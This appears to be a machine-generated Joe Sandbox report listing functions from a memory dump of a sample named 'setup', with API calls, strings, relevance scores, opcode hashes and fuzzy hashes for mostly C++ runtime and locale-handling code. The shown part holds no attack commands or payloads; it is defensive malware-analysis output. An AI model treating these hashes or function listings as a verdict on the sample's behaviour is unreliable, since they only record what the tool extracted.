Part of subcall function 00AFB970: GetLastError.KERNEL32(?,00000008,00B011BC), ref: 00AFB974
Part of subcall function 00AFB970: SetLastError.KERNEL32(00000000,00B16140,00000006,000000FF), ref: 00AFBA16

EnumSystemLocalesW.KERNEL32(00B05288,00000001,?,?,?,00B05AF3,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B05366

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2d1b067dd3489e58ab1218d3cebf640a7399ff6b43eb98ff565df3c4f86aaf4a
Instruction ID: 6d5f2be373fc51e1306b9327de36781393972e3008c80a8cfb23c79b60462b34
Opcode Fuzzy Hash: 2d1b067dd3489e58ab1218d3cebf640a7399ff6b43eb98ff565df3c4f86aaf4a
Instruction Fuzzy Hash: 9DF05C3530020857CB149F75D84567B7FD4EFC1790B064099EB06CB590D7719C42CB90

Function 00AFCDA9 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00AFABFC,?,20001004,00000000,00000002,?,?,00AFA1FE), ref: 00AFCDDD

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6a2b99d5e1b84c6d12cf81d6176442b2c58ff6491683362b500d77e17ebfeba4
Instruction ID: 84b0ba194dec9e8fd0cca90f94917dc764f243b8f0968cb9c83c738a045d3e06
Opcode Fuzzy Hash: 6a2b99d5e1b84c6d12cf81d6176442b2c58ff6491683362b500d77e17ebfeba4
Instruction Fuzzy Hash: 6CE04F3254021CBBCF122FA2ED04ABE7E26FF84770F008120FE0566161CB718E20AAD4

Function 00AEC1FA Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000C206,00AEB660), ref: 00AEC1FF

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3a88e3e0fa6b6b04549aa042b77a83e8b648902dd97302a4e7ca1bed32480e83
Instruction ID: 02f83a25acb60f08b505f71299130c1505cc52a199d968f0cbeae7633f6bf558
Opcode Fuzzy Hash: 3a88e3e0fa6b6b04549aa042b77a83e8b648902dd97302a4e7ca1bed32480e83
Instruction Fuzzy Hash:

Function 00B05C53 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B05C53

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3635c67d5a46eee3588ad599ee7a59c5e4e0568df17bc0ebbf1dd6c569c8a285
Instruction ID: 882f7507847b73c63b44a1d07cc3c3df103ef933cd6a0cab5bf78fd92a46713e
Opcode Fuzzy Hash: 3635c67d5a46eee3588ad599ee7a59c5e4e0568df17bc0ebbf1dd6c569c8a285
Instruction Fuzzy Hash: 3AA01130202200CBA3008F30AA882083AE8AA80A80308A228E008C32A0EF288088EB00

Function 00AE5CC0 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d643ef7ecf25800d2914a68d55fee80bda48706cdd4e4555dc1250a157156e
Instruction ID: 2f54fc28f46ddbc7d19c0d9744bb134164f07f553d2b56c6e042e1cfac2b329e
Opcode Fuzzy Hash: 34d643ef7ecf25800d2914a68d55fee80bda48706cdd4e4555dc1250a157156e
Instruction Fuzzy Hash: 6ED1CB72A087809FC715DF29D945A2FFBE5BFC8744F044A1DF989AB211E730E9448B92

Function 00B04B3E Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 4c405bbedf3e07493c5cfc3400cf44e060b644b4a938acf3b0c92d8b8fc83c26
Instruction ID: fd73f2155b716b06739ef1ea270f3bb68b7a3430d537889487947a47364e1594
Opcode Fuzzy Hash: 4c405bbedf3e07493c5cfc3400cf44e060b644b4a938acf3b0c92d8b8fc83c26
Instruction Fuzzy Hash: A0B1E6B55007059BDB389B24CC92ABBBBE9EB54308F1445ADEB83C66C0EB75AD85C710

Function 00AF1AF3 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527fb0732a8729ff8d0d5c4a3f4b10570f7399d41cf223ced695ba9be1c4e189
Instruction ID: 5e80b67e475829d05fb0d482189f69050bf56415516c57faa4a93b3c20bedcb6
Opcode Fuzzy Hash: 527fb0732a8729ff8d0d5c4a3f4b10570f7399d41cf223ced695ba9be1c4e189
Instruction Fuzzy Hash: EE516071E00219EFDF14CF99C991ABEBBB6EF88300F19809DE915AB241D7349E51CB90

Function 00AEC810 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 730aacad07599027ab07f79eb80b64740f90d72faca75e1b738ea3961f07a368
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: CC112BB72401C283D6488B3FDAB86F7A795EBC5730F2C437BD0424B758D222D947A600

Function 00B00C65 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1eebe2caae9b8a158f3128e1fabc652925f5f346da90b4f0161f2dbd429e670
Instruction ID: 871f54fc0db779868a5a090701f700894cad27f54d9f81b90d9814526fad5557
Opcode Fuzzy Hash: f1eebe2caae9b8a158f3128e1fabc652925f5f346da90b4f0161f2dbd429e670
Instruction Fuzzy Hash: 7EE08C32921228EBCB24EBC8CA05E8AF7FCEB48B50F150596B501E3240C670DE00D7D0

Function 00AF9680 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789eabfe958f7fbf276463b672dcd62d1ec78b8d6d636716bbce1a8341d290d8
Instruction ID: 2ead3732b21e67cc6e062d06ef813bcbe1ed482943e59a8c560bc8b97b5a0107
Opcode Fuzzy Hash: 789eabfe958f7fbf276463b672dcd62d1ec78b8d6d636716bbce1a8341d290d8
Instruction Fuzzy Hash: AAC08C34000A044ACF39AA1082B13B633A6E399782F9008CCD6038B6C2C51E9C82D600

Function 00AE22C0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE22D2
std::_Lockit::_Lockit.LIBCPMT ref: 00AE22EF
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2310
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE236B
std::_Lockit::_Lockit.LIBCPMT ref: 00AE23AC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AE23EF
std::_Facet_Register.LIBCPMT ref: 00AE2418
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2431

Part of subcall function 00AE933A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE9346

std::_Lockit::_Lockit.LIBCPMT ref: 00AE2465
std::_Lockit::_Lockit.LIBCPMT ref: 00AE247F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE24A0
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE24F8

Strings

bad locale name, xrefs: 00AE2440

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 3096327801-1405518554
Opcode ID: dc67a94dafc33c5fecaf97dd92a370b9aabb0e3386c92618d9ac9b4d81873ad7
Instruction ID: 12fa87ec18172497ca5cf1a869ae9fdebca7fc362784b1b471621a0367a8765c
Opcode Fuzzy Hash: dc67a94dafc33c5fecaf97dd92a370b9aabb0e3386c92618d9ac9b4d81873ad7
Instruction Fuzzy Hash: EE61D2326043828FD721DF1AD980A6BB7E4EF90760F15055DE8899B3A1DB35EC46CB92

Function 00AE2450 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE2465
std::_Lockit::_Lockit.LIBCPMT ref: 00AE247F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE24A0
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE24F8
std::_Lockit::_Lockit.LIBCPMT ref: 00AE253D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AE258E
__Getctype.LIBCPMT ref: 00AE25A5
std::_Facet_Register.LIBCPMT ref: 00AE25CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE25E8

Strings

bad locale name, xrefs: 00AE2440, 00AE25F7

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 2236780835-1405518554
Opcode ID: 112259b11cea387ea240c1ad41dc944a6aff26f4d8d64bdf2ea8c45805fabba9
Instruction ID: fc65a56f7d72bd2ab412a4f8ed9b0e0701017e708d5c3ce83c8704840f60ce75
Opcode Fuzzy Hash: 112259b11cea387ea240c1ad41dc944a6aff26f4d8d64bdf2ea8c45805fabba9
Instruction Fuzzy Hash: BB4122316043818FD320DF1ADA80B6BBBE4EF91750F15495DF8859B391DB75E806CBA2

Function 00AE2610 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE2625
std::_Lockit::_Lockit.LIBCPMT ref: 00AE263F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2660
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE26BB
std::_Lockit::_Lockit.LIBCPMT ref: 00AE2703
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AE2761
__Getctype.LIBCPMT ref: 00AE2778
std::_Facet_Register.LIBCPMT ref: 00AE27CB
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE27E4

Part of subcall function 00AE933A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE9346

Strings

bad locale name, xrefs: 00AE27F3

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 2137871723-1405518554
Opcode ID: ff364aaa7abba3101b5e1af4ca628ecf59c0124d09c36ccb04228e8ea3736cb8
Instruction ID: 4974e42d21eb12d74e6c2ce896a47b818282cbf57a011b815158025891211608
Opcode Fuzzy Hash: ff364aaa7abba3101b5e1af4ca628ecf59c0124d09c36ccb04228e8ea3736cb8
Instruction Fuzzy Hash: 395102319047818FD321DF2AC940B6BBBE4FF94350F144A4DE8999B362EB74E945CB92

Function 00AE2800 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE2812
std::_Lockit::_Lockit.LIBCPMT ref: 00AE282F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2850
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE28AB
std::_Lockit::_Lockit.LIBCPMT ref: 00AE28EC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AE292F
std::_Facet_Register.LIBCPMT ref: 00AE2958
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2971

Part of subcall function 00AE933A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE9346

Strings

bad locale name, xrefs: 00AE2980

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 3096327801-1405518554
Opcode ID: 25ab4b54f611759250f470ddada116ce3cdac727d55831c4a10c3b047e22361e
Instruction ID: 00c13c9329c83a43a8d0d73a5a8db76e878b286cc77c07b06a5d3508cf8fc8f4
Opcode Fuzzy Hash: 25ab4b54f611759250f470ddada116ce3cdac727d55831c4a10c3b047e22361e
Instruction Fuzzy Hash: 1941E372A043818FD310DF2AD98065BBBF4BF94750F04455DE885AB3A2DB34ED0ACB92

Function 00AE41F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE4251
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AE4298
Concurrency::cancel_current_task.LIBCPMT ref: 00AE435A
Concurrency::cancel_current_task.LIBCPMT ref: 00AE435F
Concurrency::cancel_current_task.LIBCPMT ref: 00AE4364

Strings

true, xrefs: 00AE4318
bad locale name, xrefs: 00AE4369
false, xrefs: 00AE42F2

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: eaad70de155ecd323456e82219407d701af4d544cdee704f020d6709531e034f
Instruction ID: de103031e36081d1c18f28ccfa856761c2fac31426dedd91b354e5c28aeff3bf
Opcode Fuzzy Hash: eaad70de155ecd323456e82219407d701af4d544cdee704f020d6709531e034f
Instruction Fuzzy Hash: 4E4124715053819FC720EFA68981B9BBBE4BF98700F44492DF989DB352E770D805CB52

Function 00AEB4EF Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00AEB4F5
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00AEB503
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00AEB514
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00AEB525

Strings

GetTempPath2W, xrefs: 00AEB51A
GetSystemTimePreciseAsFileTime, xrefs: 00AEB509
GetCurrentPackageId, xrefs: 00AEB4FD
kernel32.dll, xrefs: 00AEB4F0

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 0e3d8b2682dcbb5fbf79227949d3228c087724be95e7cacc20f006c82aa99e6d
Instruction ID: 5d4a290cc66d1c66b6ac852d171fdddf86167d156338a11e72f4dfc0e4f86788
Opcode Fuzzy Hash: 0e3d8b2682dcbb5fbf79227949d3228c087724be95e7cacc20f006c82aa99e6d
Instruction Fuzzy Hash: 03E0B631542720EBE3005FF4AC0988B3FA4EB297553058A56F805D32E0EBB85840CBA0

Function 00AEED98 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00AEEEB7
___TypeMatch.LIBVCRUNTIME ref: 00AEEFC5
_UnwindNestedFrames.LIBCMT ref: 00AEF117
CallUnexpected.LIBVCRUNTIME ref: 00AEF132

Strings

csm, xrefs: 00AEEEEE
csm, xrefs: 00AEEE42
csm, xrefs: 00AEEDD5

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 6c330386c76815d5f23168874f8d9c64c59ff25aae023d800919cdaa0af13c33
Instruction ID: 93efffb63cc8e68a98a407e7b01b6dfb89f421113391bc102ba21dc616612fe2
Opcode Fuzzy Hash: 6c330386c76815d5f23168874f8d9c64c59ff25aae023d800919cdaa0af13c33
Instruction Fuzzy Hash: 81B18B71800299EFCF28DFA6C9819AEBBB5FF14310F14416AF8156B252E731EA51CB91

Function 00AFF625 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00AFF89E

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 86ba6f946c651c47d051c4f92d2278324a5450d401d13d160714d7b731b956af
Instruction ID: 5d70067d125ca5a8f8781b86836e24b45b88d11b4d06af43f74e05865e72d53c
Opcode Fuzzy Hash: 86ba6f946c651c47d051c4f92d2278324a5450d401d13d160714d7b731b956af
Instruction Fuzzy Hash: EFB1E371A0424DAFDB11DFD8C880BBDBBF1AF59340F144165F611AB2A2DBB49D42CBA1

Function 00AEB2C8 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00AEB311
__alloca_probe_16.LIBCMT ref: 00AEB33D
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00AEB37C
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AEB399
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00AEB3D8
__alloca_probe_16.LIBCMT ref: 00AEB3F5
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AEB437
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00AEB45A

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
